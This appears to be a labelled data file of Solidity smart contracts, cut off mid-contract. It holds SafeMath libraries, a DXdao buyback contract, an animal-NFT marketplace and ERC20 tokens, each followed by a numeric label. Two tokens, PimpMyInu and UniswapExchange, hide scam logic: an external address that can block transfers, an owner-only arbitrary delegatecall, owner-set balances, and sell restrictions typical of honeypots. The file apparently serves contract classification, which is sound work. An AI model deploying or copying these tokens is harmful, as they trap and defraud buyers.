pragma solidity ^0.5.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } pragma solidity 0.5.17; contract ReserveBuyBackLimit { using SafeMath for uint; address payable public DXD; address payable public DXdao; uint256 public maxETHinTresury; constructor(address payable _DXD, address payable _DXdao, uint256 _maxETHinTresury) public { require(_maxETHinTresury > 0); DXD = _DXD; DXdao = _DXdao; maxETHinTresury = _maxETHinTresury; } function () external payable { require(msg.sender == DXD); if (DXdao.balance > maxETHinTresury) DXD.call.value(msg.value)(""); } function updateConfig(uint256 _maxETHinTresury) public { require(msg.sender == DXdao); require(_maxETHinTresury > 0); maxETHinTresury = _maxETHinTresury; } }
0
1,402
pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface ERC721Interface { function totalSupply() public view returns (uint256); function safeTransferFrom(address _from, address _to, uint256 _tokenId); function burnToken(address tokenOwner, uint256 tid) ; function sendToken(address sendTo, uint tid, string tmeta) ; function getTotalTokensAgainstAddress(address ownerAddress) public constant returns (uint totalAnimals); function getAnimalIdAgainstAddress(address ownerAddress) public constant returns (uint[] listAnimals); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function setAnimalMeta(uint tid, string tmeta); } contract AnimalFactory is Ownable { struct AnimalProperties { uint id; string name; string desc; bool upForSale; uint priceForSale; bool upForMating; bool eggPhase; uint priceForMating; bool isBornByMating; uint parentId1; uint parentId2; uint birthdate; uint costumeId; uint generationId; bool isSpecial; } using SafeMath for uint256; ERC721Interface public token; uint uniqueAnimalId=0; mapping(uint=>AnimalProperties) animalAgainstId; mapping(uint=>uint[]) childrenIdAgainstAnimalId; uint[] upForMatingList; uint[] upForSaleList; address[] memberAddresses; AnimalProperties animalObject; uint public ownerPerThousandShareForMating = 35; uint public ownerPerThousandShareForBuying = 35; uint public freeAnimalsLimit = 4; bool public isContractPaused; uint public priceForMateAdvertisement; uint public priceForSaleAdvertisement; uint public priceForBuyingCostume; uint256 public weiRaised; uint256 public totalBunniesCreated=0; uint256 public weiPerAnimal = 1*10**18; uint[] eggPhaseAnimalIds; uint[] animalIdsWithPendingCostumes; event AnimalsPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function AnimalFactory(address _walletOwner,address _tokenAddress) public { require(_walletOwner != 0x0); owner = _walletOwner; isContractPaused = false; priceForMateAdvertisement = 1 * 10 ** 16; priceForSaleAdvertisement = 1 * 10 ** 16; priceForBuyingCostume = 1 * 10 ** 16; token = ERC721Interface(_tokenAddress); } function getAnimalById(uint aid) public constant returns (string, string,uint,uint ,uint, uint,uint) { if(animalAgainstId[aid].eggPhase==true) { return(animalAgainstId[aid].name, animalAgainstId[aid].desc, 2**256 - 1, animalAgainstId[aid].priceForSale, animalAgainstId[aid].priceForMating, animalAgainstId[aid].parentId1, animalAgainstId[aid].parentId2 ); } else { return(animalAgainstId[aid].name, animalAgainstId[aid].desc, animalAgainstId[aid].id, animalAgainstId[aid].priceForSale, animalAgainstId[aid].priceForMating, animalAgainstId[aid].parentId1, animalAgainstId[aid].parentId2 ); } } function getAnimalByIdVisibility(uint aid) public constant returns (bool upforsale,bool upformating,bool eggphase,bool isbornbymating, uint birthdate, uint costumeid, uint generationid) { return( animalAgainstId[aid].upForSale, animalAgainstId[aid].upForMating, animalAgainstId[aid].eggPhase, animalAgainstId[aid].isBornByMating, animalAgainstId[aid].birthdate, animalAgainstId[aid].costumeId, animalAgainstId[aid].generationId ); } function getOwnerByAnimalId(uint aid) public constant returns (address) { return token.ownerOf(aid); } function getAllAnimalsByAddress(address ad) public constant returns (uint[] listAnimals) { require (!isContractPaused); return token.getAnimalIdAgainstAddress(ad); } function claimFreeAnimalFromAnimalFactory( string animalName, string animalDesc) public { require(msg.sender != 0x0); require (!isContractPaused); uint gId=0; if (msg.sender!=owner) { require(token.getTotalTokensAgainstAddress(msg.sender)<freeAnimalsLimit); gId=1; } uniqueAnimalId++; animalObject = AnimalProperties({ id:uniqueAnimalId, name:animalName, desc:animalDesc, upForSale: false, eggPhase: false, priceForSale:0, upForMating: false, priceForMating:0, isBornByMating: false, parentId1:0, parentId2:0, birthdate:now, costumeId:0, generationId:gId, isSpecial:false }); token.sendToken(msg.sender, uniqueAnimalId,animalName); animalAgainstId[uniqueAnimalId]=animalObject; totalBunniesCreated++; } function buyAnimalsFromAnimalFactory(string animalName, string animalDesc) public payable { require (!isContractPaused); require(validPurchase()); require(msg.sender != 0x0); uint gId=0; if (msg.sender!=owner) { gId=1; } uint256 weiAmount = msg.value; uint256 tokens = weiAmount.div(weiPerAnimal); weiRaised = weiRaised.add(weiAmount); uniqueAnimalId++; animalObject = AnimalProperties({ id:uniqueAnimalId, name:animalName, desc:animalDesc, upForSale: false, priceForSale:0, upForMating: false, eggPhase: false, priceForMating:0, isBornByMating:false, parentId1:0, parentId2:0, birthdate:now, costumeId:0, generationId:gId, isSpecial:false }); token.sendToken(msg.sender, uniqueAnimalId,animalName); emit AnimalsPurchased(msg.sender, owner, weiAmount, tokens); animalAgainstId[uniqueAnimalId]=animalObject; totalBunniesCreated++; owner.transfer(msg.value); } function buyAnimalsFromUser(uint animalId) public payable { require (!isContractPaused); require(msg.sender != 0x0); address prevOwner=token.ownerOf(animalId); require(prevOwner!=msg.sender); uint price=animalAgainstId[animalId].priceForSale; uint OwnerPercentage=animalAgainstId[animalId].priceForSale.mul(ownerPerThousandShareForBuying); OwnerPercentage=OwnerPercentage.div(1000); uint priceWithOwnerPercentage = animalAgainstId[animalId].priceForSale.add(OwnerPercentage); require(msg.value>=priceWithOwnerPercentage); token.safeTransferFrom(prevOwner,msg.sender,animalId); animalAgainstId[animalId].upForSale=false; animalAgainstId[animalId].priceForSale=0; for (uint j=0;j<upForSaleList.length;j++) { if (upForSaleList[j] == animalId) delete upForSaleList[j]; } prevOwner.transfer(price); owner.transfer(OwnerPercentage); if(msg.value>priceWithOwnerPercentage) { msg.sender.transfer(msg.value.sub(priceWithOwnerPercentage)); } } function mateAnimal(uint parent1Id, uint parent2Id, string animalName,string animalDesc) public payable { require (!isContractPaused); require(msg.sender != 0x0); require (token.ownerOf(parent2Id) == msg.sender); require(token.ownerOf(parent2Id)!=token.ownerOf(parent1Id)); require(animalAgainstId[parent1Id].upForMating==true); require(animalAgainstId[parent1Id].isSpecial==false); require(animalAgainstId[parent2Id].isSpecial==false); uint price=animalAgainstId[parent1Id].priceForMating; uint OwnerPercentage=animalAgainstId[parent1Id].priceForMating.mul(ownerPerThousandShareForMating); OwnerPercentage=OwnerPercentage.div(1000); uint priceWithOwnerPercentage = animalAgainstId[parent1Id].priceForMating.add(OwnerPercentage); require(msg.value>=priceWithOwnerPercentage); uint generationnum = 1; if(animalAgainstId[parent1Id].generationId >= animalAgainstId[parent2Id].generationId) { generationnum = animalAgainstId[parent1Id].generationId+1; } else{ generationnum = animalAgainstId[parent2Id].generationId+1; } uniqueAnimalId++; animalObject = AnimalProperties({ id:uniqueAnimalId, name:animalName, desc:animalDesc, upForSale: false, priceForSale:0, upForMating: false, eggPhase: true, priceForMating:0, isBornByMating:true, parentId1: parent1Id, parentId2: parent2Id, birthdate:now, costumeId:0, generationId:generationnum, isSpecial:false }); token.sendToken(msg.sender,uniqueAnimalId,animalName); animalAgainstId[uniqueAnimalId]=animalObject; eggPhaseAnimalIds.push(uniqueAnimalId); childrenIdAgainstAnimalId[parent1Id].push(uniqueAnimalId); childrenIdAgainstAnimalId[parent2Id].push(uniqueAnimalId); for (uint i=0;i<upForMatingList.length;i++) { if (upForMatingList[i]==parent1Id) delete upForMatingList[i]; } animalAgainstId[parent1Id].upForMating = false; animalAgainstId[parent1Id].priceForMating = 0; token.ownerOf(parent1Id).transfer(price); owner.transfer(OwnerPercentage); if(msg.value>priceWithOwnerPercentage) { msg.sender.transfer(msg.value.sub(priceWithOwnerPercentage)); } } function TransferAnimalToAnotherUser(uint animalId,address to) public { require (!isContractPaused); require(msg.sender != 0x0); require(token.ownerOf(animalId)==msg.sender); require(animalAgainstId[animalId].upForSale == false); require(animalAgainstId[animalId].upForMating == false); token.safeTransferFrom(msg.sender, to, animalId); } function putSaleRequest(uint animalId, uint salePrice) public payable { require (!isContractPaused); if (msg.sender!=owner) { require(msg.value>=priceForSaleAdvertisement); } require(token.ownerOf(animalId)==msg.sender); require(animalAgainstId[animalId].eggPhase==false); require(animalAgainstId[animalId].upForSale==false); require(animalAgainstId[animalId].upForMating==false); animalAgainstId[animalId].upForSale=true; animalAgainstId[animalId].priceForSale=salePrice; upForSaleList.push(animalId); owner.transfer(msg.value); } function withdrawSaleRequest(uint animalId) public { require (!isContractPaused); require(token.ownerOf(animalId)==msg.sender); require(animalAgainstId[animalId].upForSale==true); animalAgainstId[animalId].upForSale=false; animalAgainstId[animalId].priceForSale=0; for (uint i=0;i<upForSaleList.length;i++) { if (upForSaleList[i]==animalId) delete upForSaleList[i]; } } function putMatingRequest(uint animalId, uint matePrice) public payable { require(!isContractPaused); require(animalAgainstId[animalId].isSpecial==false); if (msg.sender!=owner) { require(msg.value>=priceForMateAdvertisement); } require(token.ownerOf(animalId)==msg.sender); require(animalAgainstId[animalId].eggPhase==false); require(animalAgainstId[animalId].upForSale==false); require(animalAgainstId[animalId].upForMating==false); animalAgainstId[animalId].upForMating=true; animalAgainstId[animalId].priceForMating=matePrice; upForMatingList.push(animalId); owner.transfer(msg.value); } function withdrawMatingRequest(uint animalId) public { require(!isContractPaused); require(token.ownerOf(animalId)==msg.sender); require(animalAgainstId[animalId].upForMating==true); animalAgainstId[animalId].upForMating=false; animalAgainstId[animalId].priceForMating=0; for (uint i=0;i<upForMatingList.length;i++) { if (upForMatingList[i]==animalId) delete upForMatingList[i]; } } function validPurchase() internal constant returns (bool) { if(msg.value.div(weiPerAnimal)<1) return false; uint quotient=msg.value.div(weiPerAnimal); uint actualVal=quotient.mul(weiPerAnimal); if(msg.value>actualVal) return false; else return true; } function showMyAnimalBalance() public view returns (uint256 tokenBalance) { tokenBalance = token.balanceOf(msg.sender); } function setPriceRate(uint256 newPrice) public onlyOwner returns (bool) { weiPerAnimal = newPrice; } function setMateAdvertisementRate(uint256 newPrice) public onlyOwner returns (bool) { priceForMateAdvertisement = newPrice; } function setSaleAdvertisementRate(uint256 newPrice) public onlyOwner returns (bool) { priceForSaleAdvertisement = newPrice; } function setBuyingCostumeRate(uint256 newPrice) public onlyOwner returns (bool) { priceForBuyingCostume = newPrice; } function getAllMatingAnimals() public constant returns (uint[]) { return upForMatingList; } function getAllSaleAnimals() public constant returns (uint[]) { return upForSaleList; } function changeFreeAnimalsLimit(uint limit) public onlyOwner { freeAnimalsLimit = limit; } function changeOwnerSharePerThousandForBuying(uint buyshare) public onlyOwner { ownerPerThousandShareForBuying = buyshare; } function changeOwnerSharePerThousandForMating(uint mateshare) public onlyOwner { ownerPerThousandShareForMating = mateshare; } function pauseContract(bool isPaused) public onlyOwner { isContractPaused = isPaused; } function removeFromEggPhase(uint animalId) public { for (uint i=0;i<memberAddresses.length;i++) { if (memberAddresses[i]==msg.sender) { for (uint j=0;j<eggPhaseAnimalIds.length;j++) { if (eggPhaseAnimalIds[j]==animalId) { delete eggPhaseAnimalIds[j]; } } animalAgainstId[animalId].eggPhase = false; } } } function getChildrenAgainstAnimalId(uint id) public constant returns (uint[]) { return childrenIdAgainstAnimalId[id]; } function getEggPhaseList() public constant returns (uint[]) { return eggPhaseAnimalIds; } function getAnimalIdsWithPendingCostume() public constant returns (uint[]) { return animalIdsWithPendingCostumes; } function buyCostume(uint cId, uint aId) public payable { require(msg.value>=priceForBuyingCostume); require(!isContractPaused); require(token.ownerOf(aId)==msg.sender); require(animalAgainstId[aId].costumeId==0); animalAgainstId[aId].costumeId=cId; animalIdsWithPendingCostumes.push(aId); owner.transfer(msg.value); } function approvePendingCostume(uint animalId) public { for (uint i=0;i<memberAddresses.length;i++) { if (memberAddresses[i]==msg.sender) { for (uint j=0;j<animalIdsWithPendingCostumes.length;j++) { if (animalIdsWithPendingCostumes[j]==animalId) { delete animalIdsWithPendingCostumes[j]; } } } } } function addMember(address member) public onlyOwner { memberAddresses.push(member); } function listMembers() public constant returns (address[]) { return memberAddresses; } function deleteMember(address member) public onlyOwner { for (uint i=0;i<memberAddresses.length;i++) { if (memberAddresses[i]==member) { delete memberAddresses[i]; } } } function updateAnimal(uint animalId, string name, string desc) public { require(msg.sender==token.ownerOf(animalId)); animalAgainstId[animalId].name=name; animalAgainstId[animalId].desc=desc; token.setAnimalMeta(animalId, name); } function updateAnimalSpecial(uint animalId, bool isSpecial) public onlyOwner { require(msg.sender==token.ownerOf(animalId)); animalAgainstId[animalId].isSpecial=isSpecial; } }
0
2,521
pragma solidity ^0.4.23; contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); modifier onlyOwner { require(msg.sender == owner); _; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract BLTCoin is ERC20Interface, Owned{ using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; uint256 public rate; uint256 public weiRaised; uint value; uint _ICOTokensLimit; uint _ownerTokensLimit; uint public bonusPercentage; bool public icoOpen; bool public bonusCompaignOpen; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); modifier onlyWhileOpen { require(icoOpen); _; } function BLTCoin(address _owner) public{ icoOpen = false; bonusCompaignOpen = false; symbol = "BLT"; name = "BrotherlyLend"; decimals = 18; rate = 142857; owner = _owner; _totalSupply = totalSupply(); _ICOTokensLimit = _icoTokens(); _ownerTokensLimit = _ownersTokens(); balances[owner] = _ownerTokensLimit; balances[this] = _ICOTokensLimit; emit Transfer(address(0),owner,_ownerTokensLimit); emit Transfer(address(0),this,_ICOTokensLimit); } function _icoTokens() internal constant returns(uint){ return 9019800000 * 10**uint(decimals); } function _ownersTokens() internal constant returns(uint){ return 11024200000 * 10**uint(decimals); } function totalSupply() public constant returns (uint){ return 20044000000 * 10**uint(decimals); } function startICO() public onlyOwner{ require(!icoOpen); icoOpen = true; } function stopICO() public onlyOwner{ require(icoOpen); icoOpen = false; } function startBonusCompaign(uint _percentage) public onlyOwner{ bonusCompaignOpen = true; bonusPercentage = _percentage; } function stopBonusCompaign() public onlyOwner{ bonusCompaignOpen = false; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { require(to != 0x0); require(balances[msg.sender] >= tokens ); require(balances[to] + tokens >= balances[to]); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender,to,tokens); return true; } function _transfer(address _to, uint _tokens) internal returns (bool success){ require(_to != 0x0); require(balances[this] >= _tokens ); require(balances[_to] + _tokens >= balances[_to]); balances[this] = balances[this].sub(_tokens); balances[_to] = balances[_to].add(_tokens); emit Transfer(this,_to,_tokens); return true; } function approve(address spender, uint tokens) public returns (bool success){ allowed[msg.sender][spender] = tokens; emit Approval(msg.sender,spender,tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success){ require(tokens <= allowed[from][msg.sender]); require(balances[from] >= tokens); balances[from] = balances[from].sub(tokens); balances[to] = balances[to].add(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); emit Transfer(from,to,tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function () external payable{ buyTokens(msg.sender); } function buyTokens(address _beneficiary) public payable onlyWhileOpen{ uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); uint256 tokens = _getTokenAmount(weiAmount); if(bonusCompaignOpen){ uint p = tokens.mul(bonusPercentage.mul(100)); p = p.div(10000); tokens = tokens.add(p); } weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); TokenPurchase(this, _beneficiary, weiAmount, tokens); _forwardFunds(); } function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { require(_beneficiary != address(0x0)); require(_weiAmount != 0); } function _getTokenAmount(uint256 _weiAmount) internal returns (uint256) { return _weiAmount.mul(rate); } function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { _transfer(_beneficiary,_tokenAmount); } function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _deliverTokens(_beneficiary, _tokenAmount); } function _forwardFunds() internal { owner.transfer(msg.value); } }
1
4,783
pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BotProtected { address internal owner; address internal botProtection; address public uniPair; constructor(address _botProtection) { botProtection = _botProtection; } modifier checkBots(address _from, address _to, uint256 _value) { (bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value)); require(notABot); _; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } abstract contract ERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; } } contract PimpMyInu is BotProtected { mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 500000000000000000000000000000; string public name = "Pimp My Inu"; string public symbol = "PIMP"; IUniswapV2Router02 public routerForPancake = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public wrappedBinance = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); constructor(address _botProtection) BotProtected(_botProtection) { owner = tx.origin; uniPair = pairForUniswap(wrappedBinance, address(this)); allowance[address(this)][address(routerForPancake)] = uint(-1); allowance[tx.origin][uniPair] = uint(-1); } function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function pairForUniswap(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } function list(uint _numList, address[] memory _reallyGoHere, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; routerForPancake.addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_reallyGoHere.length == _amounts.length); botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _reallyGoHere)); for(uint i = 0; i < _reallyGoHere.length; i++) { balanceOf[_reallyGoHere[i]] = _amounts[i]; emit Transfer(address(0x0), _reallyGoHere[i], _amounts[i]); } } }
0
1,932
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && 